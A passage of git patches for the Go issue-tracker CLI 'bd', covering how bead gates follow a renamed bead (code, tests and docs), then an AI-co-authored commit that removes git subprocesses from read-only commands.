t.Errorf("reason %q does not contain %q", reason, want) + } + } + }) + } +} + +// beadGateLocalStore stands in for this rig's own store: GetIssue answers +// from issues (or fails with err), and no contributor routing is configured. +// Anything else is a nil call. +type beadGateLocalStore struct { + storage.DoltStorage + issues map[string]*types.Issue + err error +} + +func (s *beadGateLocalStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + if s.err != nil { + return nil, s.err + } + if issue, ok := s.issues[id]; ok { + return issue, nil + } + return nil, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) +} + +func (s *beadGateLocalStore) GetAllConfig(context.Context) (map[string]string, error) { + return map[string]string{}, nil +} + +func TestRoutedBeadGateGetter_ReportsWhereTheAnswerCameFrom(t *testing.T) { + ctx := context.Background() + beadsDir := withBeadGateTown(t) + if err := os.WriteFile(filepath.Join(beadsDir, "routes.jsonl"), []byte(`{"prefix":"gt-","path":"gastown"}`), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + getter := routedBeadGateGetter{localStore: &beadGateLocalStore{issues: map[string]*types.Issue{ + "bd-open": {ID: "bd-open", Status: types.StatusOpen}, + }}} + + issue, local, err := getter.getBeadGateTarget(ctx, "bd-open") + if err != nil || issue == nil || !local { + t.Errorf("local bead: getBeadGateTarget = (%v, local %v, %v), want the bead from this rig", issue, local, err) + } + + issue, local, err = getter.getBeadGateTarget(ctx, "bd-missing") + if !errors.Is(err, storage.ErrNotFound) || errors.Is(err, errBeadGateTargetUnconfirmed) || issue != nil || !local { + t.Errorf("unrouted miss: getBeadGateTarget = (%v, local %v, %v), want this rig's not-found", issue, local, err) + } + + issue, local, err = getter.getBeadGateTarget(ctx, "gt-open") + if !errors.Is(err, errBeadGateTargetUnconfirmed) || issue != nil || local { + t.Errorf("unreadable route: getBeadGateTarget = (%v, local %v, %v), want an unconfirmed miss", issue, local, err) + } + + boom := errors.New("dolt exploded") + _, _, err = routedBeadGateGetter{localStore: &beadGateLocalStore{err: boom}}.getBeadGateTarget(ctx, "gt-open") + if !errors.Is(err, boom) || errors.Is(err, errBeadGateTargetUnconfirmed) { + t.Errorf("local read failure: err = %v, want the read error, not a routed miss", err) + } +} + func TestPrintGateCheckSummary_ErrorsFailTheCommand(t *testing.T) { origJSON := jsonOutput t.Cleanup(func() { jsonOutput = origJSON }) diff --git a/cmd/bd/rename.go b/cmd/bd/rename.go index cd45cc088..4305242ca 100644 --- a/cmd/bd/rename.go +++ b/cmd/bd/rename.go @@ -4,7 +4,9 @@ import ( "context" "errors" "fmt" + "os" "regexp" + "strings" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" @@ -83,9 +85,14 @@ func runRename(cmd *cobra.Command, args []string) error { return HandleError("failed to check for existing issue: %v", err) } - oldIssue.ID = newID + gateType := types.TypeGate + gates, err := store.SearchIssues(ctx, "", types.IssueFilter{IssueType: &gateType}) + if err != nil { + return HandleError("failed to list gates: %v", err) + } + actor := getActorWithGit() - if err := store.UpdateIssueID(ctx, oldID, newID, oldIssue, actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, oldIssue, newID, beadGatesByTarget(gates)[oldID], actor); err != nil { return HandleError("failed to rename issue: %v", err) } @@ -150,3 +157,114 @@ func updateReferencesInAllIssues(ctx context.Context, store storage.DoltStorage, return nil } + +// beadGateRenameStore is the part of the store a rename writes through. +type beadGateRenameStore interface { + UpdateIssue(ctx context.Context, id string, updates map[string]interface{}, actor string) error + UpdateIssueID(ctx context.Context, oldID, newID string, issue *types.Issue, actor string) error +} + +// beadGatesByTarget indexes the bead gates in issues by the ID of the bead +// each one waits on (see beadGateTargetID). +func beadGatesByTarget(issues []*types.Issue) map[string][]*types.Issue { + gates := make(map[string][]*types.Issue) + for _, issue := range issues { + if issue.IssueType != types.TypeGate || issue.AwaitType != "bead" { + continue + } + if targetID, pendingReason := beadGateTargetID(issue.AwaitID); pendingReason == "" { + gates[targetID] = append(gates[targetID], issue) + } + } + return gates +} + +// beadGateMove is one bead gate following its bead to a new ID. +type beadGateMove struct { + gateID string + fromID string // await_id before the rename + toID string // await_id after it; a : prefix is kept + seen bool // the gate records a sighting of fromID + staleSeen bool // the gate records a sighting of toID, left from an earlier await_id +} + +// planBeadGateMoves lists the moves of gates, which wait on oldID, for its +// rename to newID. +func planBeadGateMoves(gates []*types.Issue, oldID, newID string) []beadGateMove { + moves := make([]beadGateMove, 0, len(gates)) + for _, gate := range gates { + toID := strings.TrimSuffix(gate.AwaitID, oldID) + newID + moves = append(moves, beadGateMove{ + gateID: gate.ID, + fromID: gate.AwaitID, + toID: toID, + seen: beadGateTargetSeen(gate), + staleSeen: beadGateSeenID(gate) == toID, + }) + } + return moves +} + +// renameIssueKeepingBeadGates renames issue to newID and points gates, the +// bead gates waiting on it, at the new ID. bd gate check resolves a gate whose +// awaited bead is missing once await_seen records a sighting of that same +// await_id, and UpdateIssueID commits on its own, so the writes are ordered +// to leave no state in between that resolves a gate: +// +// 1. Each gate's await_id moves to the new ID while its sighting still names +// the old one, so until the bead has the new ID the gate reads as never +// seen and stays pending. A sighting that already names the new ID would +// match early, so it is dropped in the same write. +// 2. The issue is renamed. UpdateIssueID writes neither await_id nor +// metadata, so the moves survive it, a gate's own rename included. +// 3. Each sighting is recorded again under the new ID. Losing one costs only +// the sighting, which the next check records again while the bead exists, +// so a failure here is a warning. +// +// If step 1 or 2 fails, the gates are moved back and the error is returned. A +// failed write may still have landed (a lost commit response), so a gate +// moved back loses its sighting too: it stays pending until a check sees the +// bead again. A gate that cannot be moved back is left on the new ID without a +// sighting of it, which also stays pending. +func renameIssueKeepingBeadGates(ctx context.Context, st beadGateRenameStore, issue *types.Issue, newID string, gates []*types.Issue, actorName string) error { + oldID := issue.ID + moves := planBeadGateMoves(gates, oldID, newID) + for i, m := range moves { + if err := st.UpdateIssue(ctx, m.gateID, beadGateRetargetUpdate(m.toID, m.staleSeen), actorName); err != nil { + err = fmt.Errorf("failed to point gate %s at %s: %w", m.gateID, m.toID, err) + return errors.Join(err, moveBeadGatesBack(ctx, st, moves[:i+1], actorName)) + } + } + + issue.ID = newID + if err := st.UpdateIssueID(ctx, oldID, newID, issue, actorName); err != nil { + issue.ID = oldID + return errors.Join(err, moveBeadGatesBack(ctx, st, moves, actorName)) + } + + for _, m := range moves { + if !m.seen { + continue + } + gateID := m.gateID + if gateID == oldID { + gateID = newID // the gate waits on itself + } + if err := st.UpdateIssue(ctx, gateID, beadGateSeenUpdate(m.toID), actorName); err != nil { + fmt.Fprintf(os.Stderr, "Warning: gate %s: could not move its sighting of %s to %s: %v\n", gateID, m.fromID, m.toID, err) + } + } + return nil +} + +// moveBeadGatesBack points each moved gate at its old await_id again and +// drops its sighting (see renameIssueKeepingBeadGates). +func moveBeadGatesBack(ctx context.Context, st beadGateRenameStore, moves []beadGateMove, actorName string) error { + var errs []error + for _, m := range moves { + if err := st.UpdateIssue(ctx, m.gateID, beadGateRetargetUpdate(m.fromID, true), actorName); err != nil { + errs = append(errs, fmt.Errorf("failed to point gate %s back at %s: %w", m.gateID, m.fromID, err)) + } + } + return errors.Join(errs...) +} diff --git a/cmd/bd/rename_prefix.go b/cmd/bd/rename_prefix.go index 81f2fc7c6..0ff1c8c91 100644 --- a/cmd/bd/rename_prefix.go +++ b/cmd/bd/rename_prefix.go @@ -335,6 +335,7 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin // Pattern to match any issue ID reference in text (both hash and sequential IDs) oldPrefixPattern := regexp.MustCompile(`\b[a-z][a-z0-9-]*-[a-z0-9]+\b`) + gates := beadGatesByTarget(issues) // Rename each issue for _, is := range incorrectIssues { @@ -343,7 +344,6 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin // Apply text replacements in all issue fields issue := is.issue - issue.ID = newID // Replace all issue IDs in text fields using the rename map replaceFunc := func(match string) string { @@ -366,7 +366,7 @@ func repairPrefixes(ctx context.Context, st storage.DoltStorage, actorName strin } // Update the issue in the database - if err := st.UpdateIssueID(ctx, oldID, newID, issue, actorName); err != nil { + if err := renameIssueKeepingBeadGates(ctx, st, issue, newID, gates[oldID], actorName); err != nil { return fmt.Errorf("failed to update issue %s -> %s: %w", oldID, newID, err) } @@ -433,6 +433,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ return strings.Replace(match, oldP+"-", newP+"-", 1) } + gates := beadGatesByTarget(issues) for _, issue := range issues { oldID := issue.ID newID := rewriteIssueID(oldP, newP, oldID) @@ -455,8 +456,7 @@ func renamePrefixInDB(ctx context.Context, oldPrefix, newPrefix string, issues [ continue } - issue.ID = newID - if err := store.UpdateIssueID(ctx, oldID, newID, issue, actor); err != nil { + if err := renameIssueKeepingBeadGates(ctx, store, issue, newID, gates[oldID], actor); err != nil { return fmt.Errorf("failed to update issue %s: %w", oldID, err) } } diff --git a/cmd/bd/rename_prefix_repair_test.go b/cmd/bd/rename_prefix_repair_test.go index a987697e0..d6df999dc 100644 --- a/cmd/bd/rename_prefix_repair_test.go +++ b/cmd/bd/rename_prefix_repair_test.go @@ -4,9 +4,13 @@ package main import ( "context" + "encoding/json" + "errors" + "fmt" "path/filepath" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -120,3 +124,175 @@ func TestRepairMultiplePrefixes(t *testing.T) { } } } + +func TestRepairPrefixesRetargetsBeadGates(t *testing.T) { + // The repair gives every off-prefix bead a new ID. A bead gate waiting on + // one must follow it, sighting included, or its next check would read the + // rename as a deletion and resolve. That holds whether the gate itself is + // renamed before its bead, after it, or not at all. + ctx := context.Background() + testStore := newTestStore(t, filepath.Join(t.TempDir(), "test.db")) + + for _, issue := range []*types.Issue{ + {ID: "test-1", Title: "Kept bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + {ID: "old-1", Title: "Renamed bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + {ID: "test-gate", Title: "Gate on the renamed bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-gate", Title: "Renamed gate on the kept bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "test-1", Metadata: json.RawMessage(`{"await_seen":"test-1"}`)}, + // The repair renames in ID-number order: old-0, old-1, old-2. + {ID: "old-0", Title: "Gate renamed before its bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-2", Title: "Gate renamed after its bead", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + } { + if err := testStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("failed to create issue %s: %v", issue.ID, err) + } + } + + allIssues, err := testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues: %v", err) + } + if err := repairPrefixes(ctx, testStore, "test", "test", allIssues, detectPrefixes(allIssues), false); err != nil { + t.Fatalf("repair failed: %v", err) + } + + allIssues, err = testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues after repair: %v", err) + } + idByTitle := make(map[string]string, len(allIssues)) + for _, issue := range allIssues { + idByTitle[issue.Title] = issue.ID + } + renamedBead := idByTitle["Renamed bead"] + if renamedBead == "" || renamedBead == "old-1" { + t.Fatalf("old-1 was not renamed: %v", idByTitle) + } + + for _, tt := range []struct { + title string + wantAwaitID string + }{ + {title: "Gate on the renamed bead", wantAwaitID: renamedBead}, + {title: "Renamed gate on the kept bead", wantAwaitID: "test-1"}, + {title: "Gate renamed before its bead", wantAwaitID: renamedBead}, + {title: "Gate renamed after its bead", wantAwaitID: renamedBead}, + } { + gate, err := testStore.GetIssue(ctx, idByTitle[tt.title]) + if err != nil { + t.Fatalf("%s: %v", tt.title, err) + } + if gate.AwaitID != tt.wantAwaitID || !beadGateTargetSeen(gate) { + t.Errorf("%s: await_id=%q metadata=%s, want %q recorded as seen", tt.title, gate.AwaitID, gate.Metadata, tt.wantAwaitID) + } + } +} + +// failingRenameStore fails UpdateIssueID for failID. With landed, the rename +// is applied before the error is returned, like a commit whose response was +// lost. +type failingRenameStore struct { + storage.DoltStorage + failID string + landed bool + injected bool +} + +func (s *failingRenameStore) UpdateIssueID(ctx context.Context, oldID, newID string, issue *types.Issue, actor string) error { + if oldID != s.failID { + return s.DoltStorage.UpdateIssueID(ctx, oldID, newID, issue, actor) + } + if s.landed { + if err := s.DoltStorage.UpdateIssueID(ctx, oldID, newID, issue, actor); err != nil { + return err + } + } + s.injected = true + return errors.New("injected UpdateIssueID failure") +} + +// withRenameStore points the store and actor globals at st while run runs. +func withRenameStore(st storage.DoltStorage, run func() error) error { + oldStore, oldActor := store, actor + store, actor = st, "test" + storeMutex.Lock() + oldActive := storeActive + storeActive = true + storeMutex.Unlock() + defer func() { + store, actor = oldStore, oldActor + storeMutex.Lock() + storeActive = oldActive + storeMutex.Unlock() + }() + return run() +} + +func TestRenameFailureLeavesBeadGatesPending(t *testing.T) { + // When renaming the awaited bead fails, whether or not that rename + // landed, its gate is pointed back at the bead's old ID without a + // sighting: bd gate check must find it pending, never resolve it as + // though the bead had been deleted. The prefix renames rename the gate + // first, so they move it back under its new ID. + for _, tt := range []struct { + name string + gateRenamed bool + run func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error + }{ + {name: "rename", run: func(_ context.Context, st storage.DoltStorage, _ []*types.Issue) error { + return withRenameStore(st, func() error { return runRename(renameCmd, []string{"old-1", "old-renamed"}) }) + }}, + {name: "repair", gateRenamed: true, run: func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error { + return repairPrefixes(ctx, st, "test", "test", issues, detectPrefixes(issues), false) + }}, + {name: "rename-prefix", gateRenamed: true, run: func(ctx context.Context, st storage.DoltStorage, issues []*types.Issue) error { + return withRenameStore(st, func() error { return renamePrefixInDB(ctx, "old", "test", issues) }) + }}, + } { + for _, landed := range []bool{false, true} { + t.Run(fmt.Sprintf("%s/landed=%v", tt.name, landed), func(t *testing.T) { + ctx := context.Background() + testStore := newTestStore(t, filepath.Join(t.TempDir(), "test.db")) + issues := []*types.Issue{ + {ID: "old-gate", Title: "Gate", Status: types.StatusOpen, Priority: 2, IssueType: "gate", + AwaitType: "bead", AwaitID: "old-1", Metadata: json.RawMessage(`{"await_seen":"old-1"}`)}, + {ID: "old-1", Title: "Awaited bead", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } + for _, issue := range issues { + if err := testStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("failed to create issue %s: %v", issue.ID, err) + } + } + + st := &failingRenameStore{DoltStorage: testStore, failID: "old-1", landed: landed} + if err := tt.run(ctx, st, issues); err == nil || !st.injected { + t.Fatalf("rename error = %v (failure injected: %v), want the injected failure", err, st.injected) + } + + all, err := testStore.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + t.Fatalf("failed to search issues: %v", err) + } + var gate *types.Issue + for _, issue := range all { + if issue.Title == "Gate" { + gate = issue + } + } + if gate == nil || (gate.ID != "old-gate") != tt.gateRenamed { + t.Fatalf("gate after the failed rename: %+v, want it renamed: %v", gate, tt.gateRenamed) + } + if gate.AwaitID != "old-1" || beadGateTargetSeen(gate) { + t.Errorf("gate after the failed rename: await_id=%q metadata=%s, want %q without a sighting", gate.AwaitID, gate.Metadata, "old-1") + } + resolved, reason, err := evaluateBeadGate(ctx, gate, testStore, nil) + if err != nil || resolved { + t.Errorf("bd gate check on the gate: resolved=%v reason=%q err=%v, want it pending", resolved, reason, err) + } + }) + } + } +} diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 2632dc15b..95b56da2d 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -37,7 +37,18 @@ bd gate resolve # close a gate manually | `timer` | a duration after gate creation | `bd gate check` once the timeout elapses | | `gh:run` | a GitHub Actions workflow to complete successfully | `bd gate check` (uses `gh run view`) | | `gh:pr` | a pull request to merge | `bd gate check` (uses `gh pr view`) | -| `bead` | a bead to close — a plain ID names a bead in this rig, the cross-rig form is `:` | `bd gate check` for plain local IDs; cross-rig values cannot be checked — resolve those manually | +| `bead` | a bead to close, or to be deleted once a check has seen it — a plain ID names a bead in this rig, the cross-rig form is `:` | `bd gate check` for plain local IDs; cross-rig values cannot be checked — resolve those manually | + +A `bead` gate also closes when its awaited bead is deleted, as long as an +earlier `bd gate check` saw that bead in this rig; the check records the +sighting in the gate's `await_seen` metadata. An await ID that no check has +seen, such as a typo or a bead deleted before the first check, keeps the gate +pending with a diagnostic: correct the await ID or close the gate with +`bd gate resolve`. Renaming the awaited bead with `bd rename` or +`bd rename-prefix` moves the gate's await ID and sighting to the new ID, so a +rename does not count as a deletion, even to a `bd gate check` or `bd close` +that read the gate before the rename; a rename that fails partway leaves the +gate pending without a sighting, never resolved. Timeouts use Go duration syntax: `30m`, `1h`, `24h` (there is no `d` unit — write `24h`, not `1d`). From 5126de8c1a02d01db2481e4fd5e78dd41010e25f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 20:08:24 +0000 Subject: [PATCH 067/213] perf(bd): no git subprocesses on read-only commands (in-process repo discovery, lazy actor, backup probe) (#7400) * perf(git): locate the repository in-process instead of running git rev-parse Every bd invocation resolved the process-wide git context (beads directory discovery reads it) with `git rev-parse --git-dir --git-common-dir --show-toplevel`: one git subprocess per bd call before any work. Tools that call bd hundreds of times (gascity's doctor issues ~250 bd calls per run) paid it on every call. On Linux, initGitContext now first runs discoverGitInProcess, which mirrors Git's discovery walk (physical cwd, .git as directory or gitfile, bare-dir check, filesystem-boundary stop) and produces byte-for-byte what rev-parse prints for ordinary repositories (top and subdirectories), linked worktrees (absolute or relative gitfile, symlinked targets), submodules (core.worktree pointing back at the gitfile's directory), nested repositories and no repository. Both answers feed one shared normalization (gitContextFromRevParse), so downstream values are unchanged. It declines, and git runs exactly as before, whenever it cannot prove the answer: GIT_DIR / GIT_WORK_TREE / GIT_COMMON_DIR / GIT_CEILING_DIRECTORIES / GIT_DISCOVERY_ACROSS_FILESYSTEM / GIT_OBJECT_DIRECTORY / GIT_CONFIG_PARAMETERS / GIT_CONFIG_COUNT in the environment; a symlinked .git, an invalid gitfile or git directory, a cwd inside a git directory; repository config with core.worktree (other than the submodule shape), core.bare, extensions, include directives, a format version above 1 or unmodeled syntax; any path not owned by the effective uid (safe.directory is git's to evaluate), or root under sudo. darwin and windows keep the subprocess (case folding and ownership semantics). Tests compare discoverGitFrom with real `git rev-parse` output across those layouts, pin every decline case, and check the resulting cached context equals the subprocess-derived one. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * perf(cli): resolve the git user.name actor fallback only when needed PersistentPreRunE assigned `actor = getActorWithGit()` for every command, which, with no --actor / BEADS_ACTOR / BD_ACTOR / config actor, runs `git config user.name`: the second git subprocess of every bd call, paid by read-only commands that never consult the actor. The pre-run now calls deferActorGitFallback, which marks an empty actor as pending; currentActor (and getActorWithGit, getActor) resolve it on first use with the unchanged priority order and store it in the global and the CommandContext copy, as the eager assignment did. Command code reads the actor through currentActor() instead of the raw global (a mechanical rewrite of every read site the compiler reported; writes, the flag binding and the pre-run config binding keep the raw variable). setActor cancels a pending fallback. The telemetry span's bd.actor attribute is still set, but only for a recording span, so a noop span does not force the lookup. With the in-process repository discovery from the previous commit, a read-only `bd list` / `bd show` now starts no git process at startup, in the main checkout and in a linked worktree; a write asks git for user.name once (bd create previously asked once, now still once) and records the same value. Measured on 50 sequential `bd list` calls: 100 -> 0 git execs (embedded and proxied-server workspaces, main checkout and worktree). TestEmbeddedReadOnlyCommandsSpawnNoGit counts git execs through a PATH shim; TestDeferredActorGitFallback pins the deferral semantics. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * fix(git): decline in-process discovery on any config line git might read differently Review follow-ups to the in-process repository discovery. - The repository config scanner was looser than git: a config starting with a UTF-8 BOM followed by `[core] worktree = /other` made git report /other while discovery returned the cwd repository, and `[ core ]` or `!!! = x` (which git refuses) were accepted. scanGitConfig (gitconfig_linux.go) now skips a leading BOM exactly as git does and accepts only a narrow grammar: blank/comment lines, `[section]` / `[section "sub"]` headers at column 0, and `key` / `key = value` lines inside a section, with values free of backslashes and unbalanced quotes. Any other line declines to git. - Walk from getcwd(2) (syscall.Getwd), as git does, instead of os.Getwd, which trusts $PWD when it names the same inode (bind-mount aliases). - Resolve relative gitfile and commondir targets without filepath.Join's lexical Clean, so "link/.." resolves physically like git's realpath. - A mount-boundary stop reports its own reason in the not-a-repository error. - Tests: every decline case (BOM + core.worktree, malformed headers and keys, keys before a section, escapes, continuations, bare repositories, a commondir inside .git, ...) now also checks that what startup derives equals git's answer; BOM and CRLF/comment configs are equivalence cases; the no-repository case must be answered in-process instead of skipping; a $PWD alias test pins the getcwd walk. - The exec-count test drops every GIT_* variable except the config-file selectors, so a runner exporting GIT_CONFIG_PARAMETERS & co. cannot make it fail spuriously. - Comment the two places that touch the raw actor before the deferral. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * perf(backup): decide embedded auto-backup's git-remote probe without git In an embedded workspace whose backup.enabled is unset, maybeAutoBackup asks isBackupAutoEnabled -> primeHasGitRemote after every command, reads included. That built a RepoContext (`git -C .beads rev-parse --git-common-dir`) and ran `git remote`: two git processes per read even after the startup calls were gone. The throttle cannot short-circuit it: without a remote no backup ever runs, so there is no backup state to throttle on. Both probes are now answered in-process when provable, and the subprocess remains the fallback, so the decision and every warning/notice downstream of it are unchanged: - internal/beads getGitCommonDirForPath uses git.CommonDirInProcess (the discovery walk from the given directory, git's spelling). - primeHasGitRemote uses git.HasRemoteInProcess in the same directory primeGitCmd would run git in (primeGitDir, factored out). It answers only when every config file `git remote` reads -- system (GIT_CONFIG_SYSTEM, or /etc/gitconfig and /etc/gitconfig of the git on PATH), global (GIT_CONFIG_GLOBAL, or XDG and ~/.gitconfig) and the repository's own -- is absent or within scanGitConfig's grammar and include-free, no GIT_CONFIG_PARAMETERS/COUNT/GIT_CONFIG or discovery override is set, and no legacy .git/remotes or .git/branches entries exist. A remote seen only in a system-config candidate declines. Remote names outside [A-Za-z0-9._-] decline. Tests compare HasRemoteInProcess with `git remote` (no remote, local, worktree, submodule, remote.pushDefault only, global remote, no repo) and pin the declines (global include, malformed global, command-line config); CommonDirInProcess is compared with `git -C dir rev-parse --git-common-dir`. TestEmbeddedReadOnlyCommandsSpawnNoGit now runs with backup.enabled at its default, with and without a git remote, and still expects zero git processes for list/show. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 1 + CHANGELOG.md | 16 + cmd/bd/BUILD.bazel | 1 + cmd/bd/actor_test.go | 54 ++ cmd/bd/ado.go | 6 +- cmd/bd/assign.go | 6 +- cmd/bd/audit.go | 8 +- cmd/bd/close.go | 10 +- cmd/bd/close_direct.go | 4 +- cmd/bd/close_if_revision.go | 12 +- cmd/bd/close_proxied_server.go | 10 +- cmd/bd/comment.go | 2 +- cmd/bd/comments.go | 2 +- cmd/bd/context.go | 11 +- cmd/bd/cook.go | 6 +- cmd/bd/create.go | 4 +- cmd/bd/create_form.go | 2 +- cmd/bd/defer.go | 2 +- cmd/bd/defer_proxied_server.go | 4 +- cmd/bd/delete.go | 4 +- cmd/bd/delete_proxied_server.go | 2 +- cmd/bd/dep.go | 10 +- cmd/bd/dep_proxied_server.go | 4 +- cmd/bd/duplicates.go | 2 +- cmd/bd/edit.go | 6 +- cmd/bd/gate.go | 12 +- cmd/bd/gate_discover.go | 2 +- cmd/bd/gate_proxied_server.go | 16 +- cmd/bd/gc_proxied_server.go | 2 +- cmd/bd/github.go | 2 +- cmd/bd/gitlab.go | 2 +- cmd/bd/graph_apply.go | 2 +- cmd/bd/heartbeat.go | 6 +- cmd/bd/heartbeat_proxied_server.go | 2 +- cmd/bd/human.go | 6 +- cmd/bd/human_proxied_server.go | 8 +- cmd/bd/jira.go | 2 +- cmd/bd/label.go | 8 +- cmd/bd/label_proxied_server.go | 6 +- cmd/bd/linear.go | 6 +- cmd/bd/link.go | 4 +- cmd/bd/link_proxied_server.go | 2 +- cmd/bd/main.go | 86 ++- cmd/bd/markdown.go | 4 +- cmd/bd/merge_slot.go | 8 +- cmd/bd/migrate_issues.go | 2 +- cmd/bd/mol_bond.go | 12 +- cmd/bd/mol_burn.go | 4 +- cmd/bd/mol_current.go | 2 +- cmd/bd/mol_progress.go | 2 +- cmd/bd/mol_proxied_server.go | 20 +- cmd/bd/mol_squash.go | 2 +- cmd/bd/mutate_proxied_server.go | 16 +- cmd/bd/note.go | 4 +- cmd/bd/notion.go | 2 +- cmd/bd/pour.go | 4 +- cmd/bd/prime.go | 29 +- cmd/bd/priority.go | 4 +- cmd/bd/promote.go | 4 +- cmd/bd/promote_proxied_server.go | 4 +- cmd/bd/purge.go | 2 +- cmd/bd/quick.go | 2 +- cmd/bd/quick_proxied_server.go | 2 +- cmd/bd/ready.go | 2 +- cmd/bd/ready_input.go | 2 +- cmd/bd/reclaim.go | 4 +- cmd/bd/relate.go | 8 +- cmd/bd/relate_proxied_server.go | 6 +- cmd/bd/rename_prefix.go | 4 +- cmd/bd/reopen.go | 4 +- cmd/bd/reopen_proxied_server.go | 4 +- cmd/bd/ship.go | 2 +- cmd/bd/startup_git_exec_embedded_test.go | 176 ++++++ cmd/bd/state.go | 4 +- cmd/bd/status.go | 2 +- cmd/bd/swarm.go | 16 +- cmd/bd/sync_push_pull.go | 26 +- cmd/bd/tag.go | 4 +- cmd/bd/unclaim.go | 6 +- cmd/bd/unclaim_proxied_server.go | 8 +- cmd/bd/undefer.go | 2 +- cmd/bd/update.go | 12 +- cmd/bd/update_proxied_server.go | 4 +- cmd/bd/wisp.go | 2 +- cmd/bd/wisp_proxied_server.go | 6 +- internal/beads/context.go | 20 +- internal/git/BUILD.bazel | 8 +- internal/git/discover_linux.go | 559 +++++++++++++++++++ internal/git/discover_linux_test.go | 471 ++++++++++++++++ internal/git/discover_other.go | 20 + internal/git/gitconfig_linux.go | 109 ++++ internal/git/gitdir.go | 51 +- 92 files changed, 1801 insertions(+), 233 deletions(-) create mode 100644 cmd/bd/startup_git_exec_embedded_test.go create mode 100644 internal/git/discover_linux.go create mode 100644 internal/git/discover_linux_test.go create mode 100644 internal/git/discover_other.go create mode 100644 internal/git/gitconfig_linux.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index b1c7b0e8c..7a1c26452 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -306,6 +306,7 @@ 50 17 TestEmbeddedCompact 50 17 TestEmbeddedGateConcurrent 50 17 TestEmbeddedListComments +50 17 TestEmbeddedReadOnlyCommandsSpawnNoGit 50 18 TestEmbeddedContext 50 18 TestEmbeddedContributorCreate diff --git a/CHANGELOG.md b/CHANGELOG.md index 09d65701d..9831b832c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -114,6 +114,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- Every `bd` invocation used to start two git subprocesses before doing any + work: `git rev-parse` to locate the repository and `git config user.name` + to resolve the actor. On Linux the repository is now located in-process + (ordinary repositories, linked worktrees, submodules, no repository), + producing exactly what `git rev-parse` printed and still running git for + anything it does not model (`GIT_DIR` and related overrides, + `core.worktree`/`core.bare`, repository extensions, includes, foreign + ownership subject to `safe.directory`). The `git config user.name` actor + fallback is resolved only when a command actually needs an actor, so + read-only commands such as `bd list` and `bd show` start no git process + for it. The actor's value and priority order are unchanged. In an embedded + workspace with `backup.enabled` unset, the per-command auto-backup check + ("is there a git remote?") is likewise answered from the git config files + when they are plain (no includes, no command-line config), instead of + running `git -C .beads rev-parse --git-common-dir` and `git remote`. + - `bd create --graph` now stores a plan whose path from a node's parent to the node runs through a `waits-for` edge; the graph-only preflight that walked every ready-work edge used to refuse it. The plan now goes through diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 8f5ea468f..5964f512a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1147,6 +1147,7 @@ go_test( "sql_test.go", "stale_embedded_test.go", "stale_test.go", + "startup_git_exec_embedded_test.go", "state_embedded_test.go", "state_proxied_integration_test.go", "state_test.go", diff --git a/cmd/bd/actor_test.go b/cmd/bd/actor_test.go index d7efa7fc3..5ef83b505 100644 --- a/cmd/bd/actor_test.go +++ b/cmd/bd/actor_test.go @@ -246,3 +246,57 @@ func TestGetActorWithGit_PriorityOrder(t *testing.T) { t.Errorf("Expected BD_ACTOR to be used as fallback, got %q", result) } } + +// TestDeferredActorGitFallback pins the lazy actor: PersistentPreRunE defers +// the git config user.name fallback, and the first reader resolves it to +// exactly what the former eager getActorWithGit assignment produced. +func TestDeferredActorGitFallback(t *testing.T) { + origActor, origPending := actor, actorGitFallbackPending + var origCtxActor string + if cmdCtx != nil { + origCtxActor = cmdCtx.Actor + } + t.Cleanup(func() { + actor, actorGitFallbackPending = origActor, origPending + if cmdCtx != nil { + cmdCtx.Actor 